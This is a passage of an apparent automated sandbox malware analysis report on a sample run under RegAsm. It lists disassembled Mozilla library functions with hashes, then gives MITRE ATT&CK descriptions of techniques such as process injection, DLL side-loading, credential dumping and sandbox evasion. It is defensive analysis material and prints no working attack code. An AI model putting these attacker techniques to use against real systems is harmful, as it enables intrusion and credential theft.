Opcode Fuzzy Hash: 35e3fcd14e3a1caa46a6bf255182caa0b8734bb708f3c87ecbfd6b71e7cd71a2
Instruction Fuzzy Hash: 44E065767006089FCA10EFA9DC48C8777BCEE492703150525E691C3700D232F905CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CDA85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CDA85D3

Part of subcall function 6CD6CA10: malloc.MOZGLUE(?), ref: 6CD6CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CDA8725

Strings

map/set<T> too long, xrefs: 6CDA8720

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: eabea570e21a77836a0e0b56783530aa095bc8c74848cdd4272bc3e80caa8074
Instruction ID: caecb3688ce88916f617858b1a34f59b17436b1322d405f0e59340d620816435
Opcode Fuzzy Hash: eabea570e21a77836a0e0b56783530aa095bc8c74848cdd4272bc3e80caa8074
Instruction Fuzzy Hash: 26515774A00681CFE701CF58C984B55BBF1BF49318F19C19AD8595BB62C375E846CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CD5BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CD5BE8F

Strings

0, xrefs: 6CD5BE5B

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: fb4589900450f1300d1ee9215bb9e97add1d0d689e8a598c92b4bf2ae9bc934e
Instruction ID: 72e960e12fedf2235d9c1bb4725438f4e5247f1c022929afc87397bd1d3d1a28
Opcode Fuzzy Hash: fb4589900450f1300d1ee9215bb9e97add1d0d689e8a598c92b4bf2ae9bc934e
Instruction Fuzzy Hash: 7A41C371A09745DFCB01CF38C481A9BB7F4AF8A348F444A1DF985976A1D730D964CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CEC4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEC4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CEC4DE6

Strings

%d.%d, xrefs: 6CEC4DDE

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 37bc9b6e1634a11b0c1882c216704614e14775486cfedf25b6c492f2bda86c22
Instruction ID: 67a7e57820ce96533142ceca3f2c8526665d5666c738cc471e6afdbdd2164297
Opcode Fuzzy Hash: 37bc9b6e1634a11b0c1882c216704614e14775486cfedf25b6c492f2bda86c22
Instruction Fuzzy Hash: FD31FEF2E042186BEB506BA19C45BFF7B78DF41308F150469ED259B741EB349905CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD93CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD93D19
mozalloc_abort.MOZGLUE(?), ref: 6CD93D6C

Strings

d, xrefs: 6CD93D58

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: a951d5d7e0b2f4e998a7657eedce549bbd8e296ec6a4675956370cd0d49201b7
Instruction ID: 280b7bf6b39984fa67555d9e2e60a8eb388dd27264db9fcf37c7f4af3990167d
Opcode Fuzzy Hash: a951d5d7e0b2f4e998a7657eedce549bbd8e296ec6a4675956370cd0d49201b7
Instruction Fuzzy Hash: D211E739E04689D7EB009B69CC244EEF779EF86318B458318DD4997672FB30A6C4C790

Uniqueness

Uniqueness Score: -1.00%

Function 0040DE96 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040DEAC

Part of subcall function 0041C980: std::exception::exception.LIBCMT ref: 0041C995
Part of subcall function 0041C980: __CxxThrowException@8.LIBCMT ref: 0041C9AA
Part of subcall function 0041C980: std::exception::exception.LIBCMT ref: 0041C9BB

memmove.MSVCRT ref: 0040DEE5

Strings

invalid string position, xrefs: 0040DEA7

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: 5316638c0857526127ed38c71f3a98fe37972966ec9731bddb30cf567d386812
Instruction ID: c74160be5d68ea757b99ca4f19db230357ed30e2eb7b8670b163876bd2de5730
Opcode Fuzzy Hash: 5316638c0857526127ed38c71f3a98fe37972966ec9731bddb30cf567d386812
Instruction Fuzzy Hash: CE01B5317006118BD7248DA8C9C082BB7A6EB91710720493EE582DB785DB79EC4A87EC

Uniqueness

Uniqueness Score: -1.00%

Function 6CEE4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CEE3827,?,00000000), ref: 6CEE4D0A

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CEE4D22

Part of subcall function 6CECFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE71A3E,00000048,00000054), ref: 6CECFD56

Strings

'8l, xrefs: 6CEE4D07

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 0d6c6b04d9c244a685d5769de52fefc3f7134e979edd5898dd6fd978869ac22c
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 43F0683260113857DB104DAA9C4078736FC9B496FDF350272DD28CBB81E631DC058692

Uniqueness

Uniqueness Score: -1.00%

Function 6CDB6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CDB6E22
__Init_thread_footer.LIBCMT ref: 6CDB6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CDB6E1D

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 3ffa971317dc8f3910b8d4670c4d053191d570485cae4cfbb540cf77a6c6f63d
Instruction ID: 9bb6b40d7ce580ee1fbc660c33ecd32678b9814d23cb722cff56b09f83d3833a
Opcode Fuzzy Hash: 3ffa971317dc8f3910b8d4670c4d053191d570485cae4cfbb540cf77a6c6f63d
Instruction Fuzzy Hash: 1DF059B0E05240CBFA008B68C861AA973F6D303618F0C0169FA4656FB1C731F60BCBA3

Uniqueness

Uniqueness Score: -1.00%

Function 6CD6BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CD6BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CD6BEF5

Strings

cryptbase.dll, xrefs: 6CD6BEF0

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c5d9bfa191f653a5faf6cd383d7523137fe57b4e7126389dfea638e71e1fb4ee
Instruction ID: 6270d13c6d8ec85066e0aad81070317509ce12c01dd58dba80b343eb0f693a4e
Opcode Fuzzy Hash: c5d9bfa191f653a5faf6cd383d7523137fe57b4e7126389dfea638e71e1fb4ee
Instruction Fuzzy Hash: 07D0C932684209FBEA40ABA18D0AF293BB8A702729F10C021F75595DE2CBB1F455DF94

Uniqueness

Uniqueness Score: -1.00%

Function 6CDAB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CDAB2C9,?,?,?,6CDAB127,?,?,?,?,?,?,?,?,?,6CDAAE52), ref: 6CDAB628

Part of subcall function 6CDA90E0: free.MOZGLUE(?,00000000,?,?,6CDADEDB), ref: 6CDA90FF
Part of subcall function 6CDA90E0: free.MOZGLUE(?,00000000,?,?,6CDADEDB), ref: 6CDA9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CDAB2C9,?,?,?,6CDAB127,?,?,?,?,?,?,?,?,?,6CDAAE52), ref: 6CDAB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CDAB2C9,?,?,?,6CDAB127,?,?,?,?,?,?,?,?,?,6CDAAE52), ref: 6CDAB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CDAB127,?,?,?,?,?,?,?,?), ref: 6CDAB74D

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0b1a53c127ef3cdc42fd987b21cb1954d9011fad34cf9e15814ad7553984e9e7
Instruction ID: f726be4e8e44a2b000bd6467dafad8e5f861525734797a4c30a8326d3aa694bf
Opcode Fuzzy Hash: 0b1a53c127ef3cdc42fd987b21cb1954d9011fad34cf9e15814ad7553984e9e7
Instruction Fuzzy Hash: 3A51D0B1A01319DFDB14DF98C98066EBBB5FF84304F098529C856AB7A0D771A807CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CDBB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CD60A4D), ref: 6CDBB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CD60A4D), ref: 6CDBB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CD60A4D), ref: 6CDBB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CD60A4D), ref: 6CDBB67F

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 1c92addcfecc7a1858e1dee923a84a04fcd5093d66a211b913b3a580be769ad8
Instruction ID: 7249c37a2c04d323d0f581ccae2699615f132f0af319c4fcf0842e1997123d8c
Opcode Fuzzy Hash: 1c92addcfecc7a1858e1dee923a84a04fcd5093d66a211b913b3a580be769ad8
Instruction Fuzzy Hash: 2E31D4F1A012169FEB10CF58C88466ABBB5FF85304F168669C847EF261DB31ED15CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CED0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CED0DF5
TlsGetValue.KERNEL32 ref: 6CED0E2D
TlsGetValue.KERNEL32 ref: 6CED0E58
TlsGetValue.KERNEL32 ref: 6CED0E84

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 485d6f723ab67922bef415a97fdc65a02679e7d9d0a6a52b723b9e49ec6c0fee
Instruction ID: 9ef8f27b5267201be69033d9e2a1e97591189dd3a1ea6db9632a0a265cf63f54
Opcode Fuzzy Hash: 485d6f723ab67922bef415a97fdc65a02679e7d9d0a6a52b723b9e49ec6c0fee
Instruction Fuzzy Hash: 1D318070A657968FDF40AF39854826977B4BF0630CF2A466DDC8887B11DB34A486CA81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD8F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CD8F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CD8F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CD8F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CD8F668

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 1d4d0bcf16d30c514d42fd117c78f87ea51e2c080e3968604a3fc77935126cca
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: A4314F71B01214AFC714CF5DDCC0A9B7BBAEBC4354B148539FA598BB14D731E9448B90

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

